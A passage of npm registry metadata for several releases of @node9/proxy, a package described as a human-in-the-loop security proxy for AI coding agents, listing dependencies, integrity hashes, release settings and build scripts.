MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.24.1_1779307145253_0.5528036467756787","host":"s3://npm-registry-packages-npm-production"}},"1.24.2":{"name":"@node9/proxy","version":"1.24.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.24.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"efb1a66772ed12373870eb1e05e43be19e860085","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.24.2.tgz","fileCount":17,"integrity":"sha512-354IkIX33ynzdk5TjVesDhkTQdcseN/tLOGuiAkJdXGv7/G//HhWARK+k6JsHsAUKiu+ylFegu17S0DK/SwIsQ==","signatures":[{"sig":"MEQCIHOxDnNxLPvsVcDIGKFgF/1QlK2XfmhHtt8dmOQakGgrAiAWDD6U+aKIhca+K0QghB/RM3/ASw4pDXBgnkpd6SW40w==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.24.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3889856},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1f353bb0ebfc93b0e6839380f03db704f2a57a89","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.24.2_1779351019509_0.5093724734032781","host":"s3://npm-registry-packages-npm-production"}},"1.24.3":{"name":"@node9/proxy","version":"1.24.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.24.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"25e3f19fc019e01d9abd0bf6007c4634893791b0","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.24.3.tgz","fileCount":17,"integrity":"sha512-d4BEBoTu3lseeDhqbtsjf46jGqEv6HKz4vT9kCl60G4EPZgDFjCznCNYSpCp1HvRbCYvnp7BE4fijfx+5VKLoA==","signatures":[{"sig":"MEUCIQCGG6KHmMhLPYXRePpuWnPVgAkGg2LJmT+wNrdym3XwvAIgPgeH9eTZWq4ZpgwtKhHIPffaIr9p2PyRrdJCr/NMdVo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.24.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3890200},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d9ccdb22eeea5fe6de788812dcfe5e33b2a98d59","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.24.3_1779353291431_0.1854598319833216","host":"s3://npm-registry-packages-npm-production"}},"1.25.0":{"name":"@node9/proxy","version":"1.25.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.25.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"44d4bcfaae49c6d26b0de6c43e3c9b5a1415b47e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.25.0.tgz","fileCount":17,"integrity":"sha512-ddBfTUHhRrersKsTNutBByv4HZgevkVpn/tUo4JWiFX8lmgzkuWroSH087ekjy4x66qEC+9JAgV6/hEodAlx6g==","signatures":[{"sig":"MEQCIBdqDtCa6o9ExgD6Hgr4ZdARrqly7l2gq2GxUsubr77qAiAqZ+7NcXPH69g4LO3oOCfwlNLfdH0LXUCJXKhSbAuWQA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.25.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3909087},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"3e1c5f7c2356076ea583e5dc74f1f48671bdfef6","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.25.0_1779362561465_0.86735550317644","host":"s3://npm-registry-packages-npm-production"}},"1.26.0":{"name":"@node9/proxy","version":"1.26.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.26.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8771e6719f6e47b907c9fb2cab98b6e6af249de9","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.26.0.tgz","fileCount":17,"integrity":"sha512-gdaGM05Mbg5jnEDj6Ox7nURxQyDeYQDLH8M4jBahkijA7vOLsnY+d69X0IoM2saN5xKXUE8y0C0R6M4FNfyWag==","signatures":[{"sig":"MEUCIDwqb3BS0FaRf/et2MoaSN0Dcy3t0U06G4XIAwPj2187AiEAmS72aO00BEYuuT6E1lriETlajTq6UJmfRdJFxyPv+EA=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.26.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3926100},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"fd4d9c68720d455339183db014d05e0f373fb23f","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.26.0_1779393870067_0.3422279591845172","host":"s3://npm-registry-packages-npm-production"}},"1.26.1":{"name":"@node9/proxy","version":"1.26.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.26.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d8984207f35eba7689058fb691339c5d43c6958b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.26.1.tgz","fileCount":17,"integrity":"sha512-WfgY9h/U2lJvFu8LBP4MKAUk/aqBnDcKxnjDHVctkF8l0wPTlbdhyTbIYwcPc0+K5WYAnw8EY4tU0Y7O3EHenw==","signatures":[{"sig":"MEUCIDEOCXvXzLbkHciaxN6CI4eDbrAy/+otMMc71lpWjey0AiEA5rMv3HNPuoHRcdR3a6weW2Z4anq2759+vFnpAxQPNkw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.26.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3926100},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"41ad5eeaf5dfa3e4909d148c595094e92f8db16b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.26.1_1779395059440_0.8138862490032399","host":"s3://npm-registry-packages-npm-production"}},"1.26.2":{"name":"@node9/proxy","version":"1.26.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.26.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"f57ac91ac1b43efb75df4d2b51553eb340c91f3b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.26.2.tgz","fileCount":17,"integrity":"sha512-PZdWE78A4eX396YUeoGAh/MWfrChIEz520v2dqhJqJA5ob+Cy540fui7YcpQQ74CS88D2/YpPjh9xgHMr1N1uA==","signatures":[{"sig":"MEUCIQCIdZdjiUmwCvvKddaw+jvc6O0WGsWMSElQC6P1CIrw7gIgMp1DYwsLVidZ/gqec7Qg2Yg9mF9u/BA4/AyIhmI9a3o=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.26.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":3926100},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"d50f7cf5a3906ca2379bcf7e160b94f1b0975d1d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & 